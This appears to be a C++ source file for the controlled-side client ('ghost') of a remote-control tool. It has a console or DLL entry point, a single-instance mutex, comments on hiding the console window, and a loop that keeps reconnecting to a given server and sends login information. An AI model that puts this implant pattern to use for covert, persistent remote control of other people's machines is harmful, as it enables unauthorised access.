953d298c1c
在2015RemoteDlg.h添加宏CLIENT_EXIT_WITH_SERVER，用于控制ghost是否随Yama退出。 明确区分开退出被控端和退出主控端2个消息，只有发送退出被控端消息才会停止Socket客户端。
163 lines
3.2 KiB
C++
163 lines
3.2 KiB
C++
// ClientDll.cpp : Defines the entry point for the DLL application.
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "Common.h"
|
||
#include "IOCPClient.h"
|
||
#include <IOSTREAM>
|
||
#include "LoginServer.h"
|
||
#include "KernelManager.h"
|
||
using namespace std;
|
||
|
||
// 远程地址
|
||
char g_szServerIP[MAX_PATH] = {0};
|
||
unsigned short g_uPort = 0;
|
||
|
||
// 应用程序状态（1-被控端退出 2-主控端退出）
|
||
BOOL g_bExit = 0;
|
||
// 工作线程状态
|
||
BOOL g_bThreadExit = 0;
|
||
|
||
HINSTANCE g_hInstance = NULL;
|
||
DWORD WINAPI StartClient(LPVOID lParam);
|
||
|
||
#if _CONSOLE
|
||
|
||
enum { E_RUN, E_STOP } status;
|
||
|
||
// 隐藏控制台
|
||
// 参看：https://blog.csdn.net/lijia11080117/article/details/44916647
|
||
// step1: 在链接器"高级"设置入口点为mainCRTStartup
|
||
// step2: 在链接器"系统"设置系统为窗口
|
||
// 完成
|
||
|
||
BOOL CALLBACK callback(DWORD CtrlType)
|
||
{
|
||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||
{
|
||
g_bExit = true;
|
||
while (E_RUN == status)
|
||
Sleep(20);
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
int main(int argc, const char *argv[])
|
||
{
|
||
status = E_RUN;
|
||
if (argc < 3)
|
||
{
|
||
std::cout<<"参数不足.\n";
|
||
return -1;
|
||
}
|
||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
||
if (ERROR_ALREADY_EXISTS == GetLastError())
|
||
{
|
||
CloseHandle(hMutex);
|
||
return -2;
|
||
}
|
||
|
||
SetConsoleCtrlHandler(&callback, TRUE);
|
||
const char *szServerIP = argv[1];
|
||
int uPort = atoi(argv[2]);
|
||
printf("[remote] %s:%d\n", szServerIP, uPort);
|
||
|
||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||
g_uPort = uPort;
|
||
|
||
do{
|
||
g_bExit = 0;
|
||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||
|
||
WaitForSingleObject(hThread, INFINITE);
|
||
CloseHandle(hThread);
|
||
}while (E_RUN == status && 1 != g_bExit);
|
||
|
||
status = E_STOP;
|
||
|
||
CloseHandle(hMutex);
|
||
return 0;
|
||
}
|
||
#else
|
||
|
||
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||
DWORD ul_reason_for_call,
|
||
LPVOID lpReserved
|
||
)
|
||
{
|
||
switch (ul_reason_for_call)
|
||
{
|
||
case DLL_PROCESS_ATTACH:
|
||
case DLL_THREAD_ATTACH:
|
||
{
|
||
g_hInstance = (HINSTANCE)hInstance;
|
||
|
||
break;
|
||
}
|
||
case DLL_PROCESS_DETACH:
|
||
break;
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
// 启动运行一个ghost
|
||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||
{
|
||
g_bExit = false;
|
||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||
g_uPort = uPort;
|
||
|
||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||
#ifdef _DEBUG
|
||
WaitForSingleObject(hThread, 200);
|
||
#else
|
||
WaitForSingleObject(hThread, INFINITE);
|
||
#endif
|
||
CloseHandle(hThread);
|
||
}
|
||
|
||
// 停止运行
|
||
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
||
|
||
// 是否成功停止
|
||
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
||
|
||
// 是否退出客户端
|
||
extern "C" __declspec(dllexport) bool IsExit() { return 1 == g_bExit; }
|
||
|
||
#endif
|
||
|
||
DWORD WINAPI StartClient(LPVOID lParam)
|
||
{
|
||
IOCPClient *ClientObject = new IOCPClient();
|
||
|
||
g_bThreadExit = false;
|
||
while (!g_bExit)
|
||
{
|
||
DWORD dwTickCount = GetTickCount();
|
||
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
|
||
{
|
||
for (int k = 500; !g_bExit && --k; Sleep(10));
|
||
continue;
|
||
}
|
||
//准备第一波数据
|
||
SendLoginInfo(ClientObject, GetTickCount()-dwTickCount);
|
||
|
||
CKernelManager Manager(ClientObject);
|
||
bool bIsRun = 0;
|
||
do
|
||
{
|
||
Sleep(200);
|
||
|
||
bIsRun = ClientObject->IsRunning();
|
||
|
||
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
|
||
}
|
||
|
||
cout<<"StartClient end\n";
|
||
delete ClientObject;
|
||
g_bThreadExit = true;
|
||
|
||
return 0;
|
||
}
|